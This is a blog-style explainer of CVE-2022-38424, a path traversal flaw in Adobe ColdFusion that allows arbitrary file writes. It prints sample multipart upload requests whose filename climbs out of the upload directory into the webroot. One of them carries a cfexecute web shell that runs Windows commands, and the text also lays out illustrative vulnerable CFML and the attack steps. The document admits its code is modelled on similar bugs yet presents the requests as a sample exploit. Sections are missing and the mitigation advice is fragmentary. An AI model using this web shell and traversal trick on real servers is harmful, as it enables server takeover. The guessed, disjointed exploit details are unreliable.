In mid-2022, Adobe released a security advisory addressing a critical vulnerability in its popular Adobe ColdFusion platform. Tracked as CVE-2022-38424, this flaw exposes affected systems to arbitrary file write attacks through a classic "Path Traversal" vector. In this long read, we’ll break down what makes this vulnerability so serious, examine real code snippets, explain how attackers can exploit it, and provide references for further exploration. This guide is written in plain language for easier understanding – no need to be a cybersecurity pro to follow along!

1. What Is CVE-2022-38424?

CVE-2022-38424 identifies a flaw in how Adobe ColdFusion handles file paths in certain operations. Malicious actors can use this bug to bypass security restrictions and write files outside of allowed directories, putting the entire server at risk. Here’s the official summary from NIST:

> *Adobe ColdFusion versions Update 14 (and earlier) and Update 4 (and earlier) are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitrary file system write. Exploitation of this issue does not require user interaction, but does require administrator privileges.*

This means that while an attacker does need high-level permissions, *interactive* user involvement (like clicking a phishing link) isn’t required. Once in, the attacker can write or replace any file on the system.

2. Why Is Path Traversal Dangerous?

"Path Traversal" happens when an application doesn’t properly prevent users from navigating out of allowed directories using specially crafted paths (like ../../ or ..\..\). If not correctly filtered, attackers can use this to access or overwrite system files.

Example scenario:  
Suppose the ColdFusion admin panel lets an admin upload files somewhere safe (like /var/www/uploads). But due to CVE-2022-38424, someone could trick the upload function to write files smuggled into /etc/, /var/, or even overwrite sensitive system files:

POST /cfusion/admin/upload.cfm HTTP/1.1
Host: victim.com
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="file"; filename="../../../../webroot/shell.cfm"
Content-Type: application/octet-stream

<!-- Malicious CFM payload goes here -->
------boundary--

The ../../../../ lets you "walk" up the directory tree, escaping the uploads folder and writing wherever you want!

3. Technical Deep Dive: Where’s the Flaw?

ColdFusion’s back end has several endpoints and admin screens that let privileged users upload, import, or export files (CFM templates, configs, report files, etc.). Not all of these operations *sanitize* the provided paths. When a user supplies a file name, ColdFusion could trust that value too much and use it directly.

Here's a simplified pseudo-code example based on the pattern seen in similar ColdFusion vulnerabilities:

<cfset localDir = expandPath("./uploads/")>
<cfparam name="form.filename" default="">
<cfset targetFile = localDir & form.filename>

<cfif fileExists(targetFile)>
    <!--- Update file, etc. --->
<cfelse>
    <!--- Create new file --->
    <cffile action="upload" destination="#targetFile#">
</cfif>

If form.filename contains ../../../../webroot/shell.cfm, the targetFile will point *outside* of /uploads – oops! An attacker could use this technique to drop malicious CFM scripts (allowing remote code execution) or overwrite configuration files.

Gain Administrator Access

The adversary first compromises or obtains admin credentials for ColdFusion (via phishing, password guessing, or other bugs).

Send Crafted Request With Path Traversal

The attacker uses a vulnerable form or API endpoint to upload/import a file. They modify the filename to include path traversal sequences.

Arbitrary File Write

The malicious file is planted wherever the attacker wants. For example, writing shell.cfm to the webroot gives them direct code execution on the server!

Sample Exploit Request

POST /cfusion/admin/upload.cfm HTTP/1.1
Cookie: CFID=...; CFTOKEN=...
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="file"; filename="../../../../webroot/shell.cfm"
Content-Type: application/octet-stream

<cfexecute name="cmd.exe" arguments="/c whoami" variable="output">
<cfoutput>#output#</cfoutput>
------boundary--

After this, visiting http://victim.com/shell.cfm would run arbitrary ColdFusion code!

ColdFusion 2021 Update 5

Run cfusion/adminapi/version.cfc to check your ColdFusion version.

Apply official Adobe patches

- Adobe Security Bulletin APSB22-44

Web App Firewall:

- Use a WAF to block path traversal patterns like ../ or ..\.

6. References

- NIST CVE Entry
- Adobe Security Bulletin APSB22-44
- MITRE CVE Record

7. Conclusion

CVE-2022-38424 shows us how risky path traversal bugs can be – especially in powerful, admin-exposed platforms like Adobe ColdFusion. If left unpatched, these bugs can turn into quick wins for attackers with admin access, letting them plant persistent backdoors, deface websites, or hold sensitive data for ransom.

Timeline

Published on: 10/14/2022 20:15:00 UTC
Last modified on: 10/14/2022 20:31:00 UTC